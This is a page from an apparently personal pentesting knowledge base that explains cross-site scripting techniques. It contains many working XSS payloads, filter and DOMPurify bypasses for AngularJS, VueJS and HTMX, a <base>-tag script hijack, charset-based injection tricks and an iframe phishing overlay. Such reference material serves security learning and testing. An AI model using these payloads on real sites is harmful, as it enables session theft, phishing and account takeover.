Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • HTML Injection
  • Attribute Injection
  • Script Injection
  • DOM XSS
  • Client-Side Template Injection
  1. Pentesting
  2. WEP-Pen
  3. OWSAP TOP 10
  4. Injection
  5. Cross Site Scripting

Cross Site Scripting

HTML Injection

With zero protections, the simplest-to-understand injection is:

<script>alert()</script>

This starts JavaScript syntax using the <script> tag, and executes the alert() function. There are however a few caveats that will result in this payload not always working. The most important is the difference between server-inserted code and client-inserted code. When the server inserts your script into the HTML, the browser doesn't know any better and trusts the code so it will be run as if it is part of the first original page. When instead the code is possibly fetched and then inserted by some other client-side JavaScript code like element.innerHTML = "<script>...", it will be inserted after the document has already loaded, and follow some different rules. For one, inline scripts like these won't execute directly, as well as some other elements that are not directly loaded after they have been inserted into the DOM.

Because of the above reasons, it is often a safer idea to use a common payload like

<img src onerror=alert()>

The special thing about this payload is that an image should be loaded, which the browser really wants to do as soon as it is inserted, even on the client side. This causes the onerror= handler to instantly trigger consistently, no matter how it is inserted (read more details in #triggers). In some cases a common variation is the following:

<!-- Shortest payload -->
<svg onload=alert()>
<!-- Short but universal -->
<style onload=alert()>

The small difference between these two payloads is that the first works everywhere except Firefox client-inserted, and the second works everywhere while remaining relatively short.

Special Tags

When inserted into the content of a <textarea>, JavaScript code won't be directly executed in any way. Therefore you need to first close this specific tag using </textarea>, and then continue with a regular XSS payload like normal.

<!-- Doesn't execute -->
<textarea><img src onerror=alert()></textarea>
<!-- Does execute! -->
<textarea></textarea><img src onerror=alert()></textarea>

Common Filter Bypasses

While the above are simple, they are also the most common, and many filters already recognize these patterns as malicious and block or sanitize your payload in some way that will try to make it look to Filter Bypass, but a few of the best tricks are displayed here. The first is when a RegEx pattern like <[^>]> expects a > to close a tag, which can be omitted often because another future tag will close it for you:

<style onload=alert() x=
<p><style onload=alert() x=</p>

It is common for dangerous tags to be blacklisted, and any event handler attributes like onload and onerror to be blocked. There are some payloads however that can encode data to hide these obligatory strings (&#110; = HTML-encoded n, CyberChef):

<!-- Use the powerful SVG <use> tag to include HTML data (which can be encoded) -->
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' o&#110;error='alert(1)' /&gt;&lt;/svg&gt;#x" />

<!-- The same idea but with base64 encoding -->
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

<!-- Using iframe srcdoc= attribute to include encoded HTML -->
<iframe srcdoc="&lt;img src=1 o&#110;error=alert(1)&gt;"></iframe>

<!-- Link requiring user interaction with javascript: URL -->
<a href="&#106avas&#99ript:alert()">Click me!</a>

One last payload is a less well-known tag called <base> which takes an href= attribute that will decide where any relative URLs will start from. If you set this to your domain for example, and later in the document a <script src="/some/file.js"> is loaded, it will instead be loaded from your website at the path of the script.

<base href=//xss.jorianwoltjer.com>

<!-- Any normal relative script after this payload will be taken from the base -->
<script src="/some/file.js">
<!-- ^^ Will fetch 'http://xss.jorianwoltjer.com/some/file.js' instead -->

To exploit and show a proof of concept of the above trick, I set up this domain that returns the same script for every path with any payload you put into that URL hash. This means you can include this injection anywhere, and put a JavaScript payload after the # symbol of the target URL which will then be executed

http://example.com/path#alert(document.domain)

See Filter Bypasses for a more broad approach to make your own bypass.

Alternative Impact

If inserting tags to achieve XSS is really not possible, due to a string filter or some other restriction, you can always try to get other impact using an HTML injection as they can be very powerful.

One idea is to use DOM Clobbering, which is a technique that uses id's and other attributes of tags that make them accessible from JavaScript with the document.<name> syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case

If <iframe> tags are allowed, you may be able to load an iframe of your malicious site. This can then access the top variable in its JavaScript code to do some light interaction with the target page like top.location = "..." to redirect it, or top.postMessage() to send messages to "message" event listeners on the target page, which may have sinks for XSS or other impact like stealing secrets. These could be vulnerable if the listeners don't check the origin or a message, and is even possible if X-Frame-Options are denied as this happens on the target site itself.

Styles using CSS can also be dangerous. Not only to restyle the page, but with selectors and URLs any secrets on the page like CSRF tokens or other private data can be exfiltrated. For details on exploiting this, see this introduction, an improved version using @import, and finally this tool.

As a last resort, Phishing can always be done using HTML to convince a user to input some credentials or perform some other action. Combining an <iframe> with <style> one can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.

<iframe src="https://example.com"></iframe>
<style>
iframe {
    width: 100vw;
    height: 100vh;
    position: fixed;
    top: 0;
    left: 0;
    border: none;
}
</style>

Attribute Injection

While HTML Injection is easy when you are injecting directly into a tag's contents, sometimes the injection point is inside a tag's attribute instead:

<img src="INJECTION_HERE">
<img src='INJECTION_HERE'>
<img src=INJECTION_HERE>

This is a blessing and a curse because it might look harder at first, but this actually opens up some new attack ideas that might not have been possible before. Of course, the same HTML Injection idea from before works just as well, if we close the attribute and start writing HTML:

Payload: "><style onload=alert()>
<img src=""><style onload=alert()>">

However, this is not always possible as the < and > characters are often HTML encoded like &lt; and &gt; to make them represent data, not code. This would not allow us to close the <img> tag or open a new tag to add an event handler to, but in this case we don't need it! Since we are already in an <img> tag, we can simply add an attribute to it with a JavaScript event handler that will trigger:

Payload: " onerror=alert() x="
<img src="" onerror=alert() x="">

The same goes for ' single quotes and no quotes at all, which just need spaces to separate attributes. Using the PortSwigger XSS Cheat Sheet you can filter for possible triggers of JavaScript using attributes on your specific tag by filtering it and looking at the payloads. Some of these will require some user interaction like onclick=, but others won't. A useful trick with <input> tags specifically is the onfocus= attribute, together with the autofocus attribute which will combine to make it into a payload not requiring user interaction.

<input value="INJECTION_HERE">
Payload: " onfocus=alert() autofocus x="
<input value="" onfocus=alert() autofocus x="">

Script Injection

A special case is when the injection is found inside of a <script> tag. This may be done by developers when they want to give JavaScript access to some data, often JSON or a string, without requiring another request to fetch that data. When implemented without enough sanitization, however, this can be very dangerous as tags might not even be needed to reach XSS.

<script>
    let a = "INJECTION_HERE";
</script>

As always, a possibility is simply closing the context and starting an HTML Injection:

Payload: </script><style onload=alert()>
<script>
    let a = "</script><style onload=alert()>";
</script>

If these < or > characters are blocked or encoded however, we need to be more clever. Similarly to Attribute Injection, we can close only this string, and then write out arbitrary JavaScript code because are already in a <script> block. Using the - subtract symbol, JavaScript needs to evaluate both sides of the expression, and after seeing the empty "" string, it will run the alert() function. Finally, we need to end with a comment to prevent SyntaxErrors:

Payload: "-alert()//
<script>
    let a = ""-alert()//"";
</script>

Another special place you might find yourself injecting into is template literals, surrounded by ` backticks, which allow variables and expressions to be evaluated inside of the string. This opens up more possible syntax to run arbitrary JavaScript without even having to escape the string:

Payload: ${alert()}
<script>
    let a = `${alert()}`;
</script>

Double Injection \ backslash trick

One last trick is useful when you cannot escape the string with just a " quote, but when you do have two injections on the same line.

Payload 1: "-alert()//
Payload 2: something
<script>
    let a = {first: "&quot;-alert()//", second: "something"};
</script>

The important piece of knowledge is that any character escaped using a \ backslash character, which will interpret the character as data instead of code (see here for a table of all special backslash escapes). With this knowledge, we know a \" character will continue the string and not stop it. Therefore if we end our input with a \ character, a " quote will be appended to it which would normally close the string, but because of our injection cause it to continue and mess up the syntax:

Payload 1: anything\
Payload 2: something
<script>
    let a = {first: "anything\", second: "something"};
</script>

The critical part here is that the 2nd string that would normally start the string is now stopping the first string instead. Afterwards, it switches to regular JavaScript context starting directly with our second input, which no longer needs to escape anything. If we now write valid JavaScript here, it will execute (note that we also have to close the }):

Payload 1: anything\
Payload 2: -alert()}//
<script>
    let a = {first: "anything\", second: "-alert()}//"};
</script>

Escaped / bypass using <!-- comment

When injecting into a script tag that disallows quotes ("), you may quickly jump to injecting </script> to close the whole script tag and start a new one with your payload. If the / character is not allowed, however, you cannot close the script tag in this way.

Instead, we can abuse a lesser-known feature of script contents (spec), where for legacy reasons, <!-- and <script strings need to be balanced. When opening a HTML comment inside a script tag, any closing script tags before a closing comment tag will be ignored. If another later input of ours contains -->, only then will the script tag be allowed to close via a closing script tag again.

This can cause all sorts of problems as shown in the example below (source, another example):

<script>
  console.log("INPUT1");
</script>
<input type="text" value="INPUT2">

ExploitCopy :

<script>
  console.log("<!--<script>");
</script>
<input type="text" value="--></script><script>alert()</script>">

Notice that the closing script tag on line 3 doesn't close it anymore, but instead, only after the closing comment inside of the attribute, it is allowed to again. By there closing it ourselves from inside the attribute, we are in an HTML context and can write any XSS payload!

For more advanced tricks and information, check out the JavaScript page!

DOM XSS

This is slightly different than previous "injection" ideas and is more focussed on what special syntax can make certain "sinks" execute JavaScript code.

The Document Object Model (DOM) is JavaScript's view of the HTML on a page. To create complex logic and interactivity with elements on the page there are some functions in JavaScript that allow you to interact with it. As a simple example, the document.getElementById() function can find an element with a specific id= attribute, on which you can then access properties like .innerHTML:

<p id="hello">Hello, <b>world</b>!</p>
<script>
    let element = document.getElementById("hello");
    console.log(element.innerHTML);  // "Hello, <b>world</b>!"
</script>

DOM XSS is where an attacker can abuse the interactivity with HTML functions from within JavaScript by providing sources that contain a payload, which end up in sinks where a payload may trigger. A common example is setting the .innerHTML property of an element, which replaces all HTML children of that element with the string you set. If an attacker controls any part of this without sanitization, they can perform HTML Injection just as if it was reflected by the server. A payload like the following would instantly trigger an alert():

<p id="hello">Hello, world!</p>
<script>
    let element = document.getElementById("hello");
    element.innerHTML = "<img src onerror=alert()>";
</script>

Sources are where data comes from, and there are many for JavaScript. There might be a URL parameter from URLSearchParams that is put in some HTML code, location.hash for #... data after a URL, simply a fetch(), document.referrer, and even "message" listeners which allow postMessage() communication between origins.

When any of this controllable data ends up in a sink without enough sanitization, you might have an XSS on your hands. Just like contexts, different sinks require different payloads. A location = sink for example can be exploited using the javascript:alert() protocol to evaluate the code, and an eval() sink could require escaping the context like in Script Injection.

Note: A special less-known property is window.name which is surprisingly also cross-origin writable. If this value is used in any sink, you can simply open it in an iframe or window like shown below and set the .name property on it!

JQuery - $()

A special case is made for JQuery as it is still to this day a popular library used by many applications to ease DOM manipulation from JavaScript. The $() selector can find an element on the page with a similar syntax to the more verbose but native document.querySelector() function (CSS Selectors). It would make sense that these selectors would be safe, but if unsanitized user input finds its way into the selector string of this $ function, it will actually lead to XSS as .innerHTML is used under the hood!

A snippet like the following was very commonly exploited (source):

$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});

Here the location.hash source is put into the vulnerable sink, which is exploitable with a simple #<img src onerror=alert()> payload. In the snippet, this is called on the hashchange event it is not yet triggered on page load, but only after the hash has changed. In order to exploit this, we need to load the page normally first, and then after some time when the page has loaded we can replace the URL of the active window which will act as a "change". Note that reading a location is not allowed cross-origin, but writing a new location is, so we can abuse this.

If the target allows being iframed, a simple way to exploit this is by loading the target and changing the src= attribute after it loads:

<iframe src="https://target.com/#" onload="this.src+='<img src onerror=alert()>'">

Otherwise, you can still load and change a URL by open()'ing it in a new window, waiting some time, and then changing the location of the window you held on to (note that the open() method requires user interaction like an onclick= handler to be triggered):

<button onclick=start()>Start</button>
<script>
    function start() {  // Open a new tab
        let target = open("https://target.com/#");
        setTimeout(function () {  // Wait for target to load
            target.location = "https://target.com/#<img src onerror=alert()>";
        }, 2000);
    }
</script>

Important to note is that the vulnerable code above with $(location.hash) above is not vulnerable anymore with recent versions of JQuery because an extra rule was added that selectors starting with # are not allowed to have HTML, but anything else is still vulnerable. A snippet like below will still be vulnerable in modern versions because it is not prefixed with #, and it URL decodes the payload allowing the required special characters. Context does not matter here, simply <img src onerror=alert()> anywhere in the selector will work.

let hash = decodeURIComponent(window.location.hash.slice(1));
$(`h2:contains(${hash})`);

JQuery also has many other methods and CVEs if malicious input ends up in specific functions. Make sure to check all functions your input travels through for possible DOM XSS.

Triggers (HTML sinks)

  1. .innerHTML

    let div = document.createElement("div")
    div.innerHTML = "<img src onerror=alert()>"
  2. .innerHTML + DOM

    let div = document.createElement("div")
    document.body.appendChild(div)
    div.innerHTML = "<img src onerror=alert()>"
  3. write()

    document.write("<img src onerror=alert()")
  4. open() write() close()

    document.open()
    document.write("<img src onerror=alert()")
    document.close()

When placing common XSS payloads in the triggers above, it becomes clear that they are not all the same. Most notably, the <img src onerror=alert()> payload is the most universal as it works in every situation, even when it is not added to the DOM yet. The common and short <svg onload=alert()> payload is interesting as it is only triggered via .innerHTML on Chome, and not Firefox. Lastly, the <script> tag does not load when added with .innerHTML at all.

Client-Side Template Injection

Templating frameworks help fill out HTML with user data and try to make interaction easier. While this often helps with auto-escaping special characters, it can hurt in some other ways when the templating language itself can be injected without HTML tags, or using normally safe HTML that isn't sanitized.

AngularJS

AngularJS is a common web framework for the frontend. It allows easy interactivity by adding special attributes and syntax that it recognizes and executes. This also exposes some new ways for HTML/Text injections to execute arbitrary JavaScript if regular ways are blocked. One caveat is that all these injections need to happen inside an element with an ng-app attribute to enable this feature.

When this is enabled, however, many possibilities open up. One of the most interesting is template injection using {{ characters inside a text string, no HTML tags are needed here! This is a rather well-known technique though, so it may be blocked. In cases of HTML injection with strong filters, you may be able to add custom attributes bypassing filters like DOMPurify. See this presentation by Masato Kinugawa for some AngularJS tricks that managed to bypass Teams' filters.

Here are a few examples of how it can be abused on the latest version. All alerts fire on load:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>

<body ng-app>
  <!-- Text injection -->
  {{constructor.constructor('alert(1)')()}}
  <!-- Attribute injection -->
  <ANY ng-init="constructor.constructor('alert(2)')()"></ANY>
  <!-- Filter bypass (even DOMPurify!) -->
  <ANY data-ng-init="constructor.constructor('alert(3)')()"></ANY>
  <ANY class="ng-init:constructor.constructor('alert(4)')()"></ANY>
  <ANY class="AAA;ng-init:constructor.constructor('alert(5)')()"></ANY>
  <ANY class="AAA!ng-init:constructor.constructor('alert(6)')()"></ANY>
  <ANY class="AAA♩♬♪ng-init:constructor.constructor('alert(7)')()"></ANY>
  <!-- Dynamic content insertion also vulnerable (only during load) -->
  <script>
    document.body.innerHTML += `<ANY ng-init="constructor.constructor('alert(8)')()"></ANY>`;
  </script>
</body>
<!-- Everything also works under `data-ng-app`, fully bypassing DOMPurify! -->
<div data-ng-app>
  ...
  <b data-ng-init="constructor.constructor('alert(9)')()"></b>
</div>

Warning: In some older versions of AngularJS, there was a sandbox preventing some of these arbitrary code executions. Every version has been bypassed, however, leading to how it is now without any sandbox. See the following page for a history of these older sandboxes: https://portswigger.net/research/dom-based-angularjs-sandbox-escapes

Newer versions of Angular (v2+) instead of AngularJS (v1) are not vulnerable in this way.

Note: Injecting content with .innerHTML does not always work, because it is only triggered when AngularJS loads. If you inject content later from a fetch, for example, it would not trigger even if a parent contains ng-app.

You may still be able to exploit this by slowing down the AngularJS script loading by filling up the browser's connection pool. See this challenge writeup for details.

VueJS

<script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>

<div id="app">
  <p>{{this.constructor.constructor('alert(1)')()}}</p>
  <p>{{this.$el.ownerDocument.defaultView.alert(2)}}</p>
</div>
<script>
  new Vue({
    el: "#app",
  });
</script>

HTMX

<script src="https://unpkg.com/htmx.org@1.9.12"></script>

<!-- Old syntax, simple eval -->
<img src="x" hx-on="error:alert(1)" />
<!-- Normally impossible elements allow injecting JavaScript into eval'ed function! -->
<meta hx-trigger="x[1)}),alert(2);//]" />
<div hx-disable>
  <!-- Inside hx-disable, new syntax still works -->
  <img src="x" hx-on:error="alert(3)" />
  <!-- Everything can be prefixed with data-, bypassing DOMPurify! -->
  <img src="x" data-hx-on:error="alert(4)" />
</div>

Alternative Charsets

Source explaining XSS tricks when a charset definition is missing from a response, abusing ISO-2022-JP

Note: In this section, some ESC characters are replaced with \x1b for clarity. You can copy a real ESC control character from the code block below:



If a response contains any of the following two lines, it is safe from the following attack.

Content-Type: text/html; charset=utf-8
...
<meta charset="UTF-8">

If this charset is missing, however, things get interesting. Browsers automatically detect encodings in this scenario. The ISO-2022-JP encoding has the following special escape sequences:

Escape Sequence
Copy
Meaning

\x1b(B

switch to ASCII (default)

\x1b(J

switch to JIS X 0201 1976 (backslash swapped)

\x1b$@

switch to JIS X 0201 1978 (2 bytes per char)

\x1b$B

switch to JIS X 0201 1983 (2 bytes per char)

These sequences can be used at any point in the HTML context (not JavaScript) and instantly switch how the browser maps bytes to characters. JIS X 0201 1976 is almost the same as ASCII, except for \ being replaced with ¥, and ~ replaced with ‾.

1. Negating Backslash Escaping

For the first attack, we can make \ characters useless after having written \x1b(J. Strings inside <script> tags are often protected by escaping quotes with backslashes, so this can bypass such protections:

2. Breaking HTML Context

The JIS X 0201 1978 and JIS X 0201 1983 charsets are useful for a different kind of attack. They turn sequences of 2 bytes into 1 character, effectively obfuscating any characters that would normally come after it. This continues until another escape sequence to reset the encoding is encountered like switching to ASCII.

An example is if you have control over some value in an attribute that is later closed with a double quote ("). By inserting this switching escape sequence, the succeeding bytes including this closing double quote will become invalid Unicode, and lose their meaning.

By later in a different context ending the obfuscation with a reset to ASCII escape sequence, we will still be in the attribute context for HTML's sake. The text that was sanitized as text before, is now put into an attribute which can cause all sorts of issues.

With the next image tag being created, it creates an unexpected scenario where the opening tag is actually still part of the attribute, and the opening of its first attribute instead closes the existing one.

The 1.png string is now syntax-highlighted as red, meaning it is now the name of an attribute instead of a value. If we write onerror=alert(1)// here instead, a malicious attribute is added that will execute JavaScript without being sanitized:

Note: It is not possible to abuse JIS X 0201 1978 or JIS X 0201 1983 (2 bytes per char) encoding to write arbitrary ASCII characters instead of Unicode garbage. Only some Japanese characters and ASCII full-width alternatives can be created (source), except for two unique cases that can generate a $ and ( character found using this fuzzer: https://shazzer.co.uk/vectors/66efda1eacb1e3c22aff755c

This technique can also trivially bypass any server-side XSS protection (eg. DOMPurify) such as in the following challenge:

https://gist.github.com/kevin-mizu/9b24a66f9cb20df6bbc25cc68faf3d71

<img src="src\x1b$@">text\x1b(B<img src="onerror=alert()//">
PreviousCross Site ScriptingNextExploitation

Last updated 7 months ago

Incredibly detailed research into VueJS payloads and filter bypasses

(B
(J
$@
$B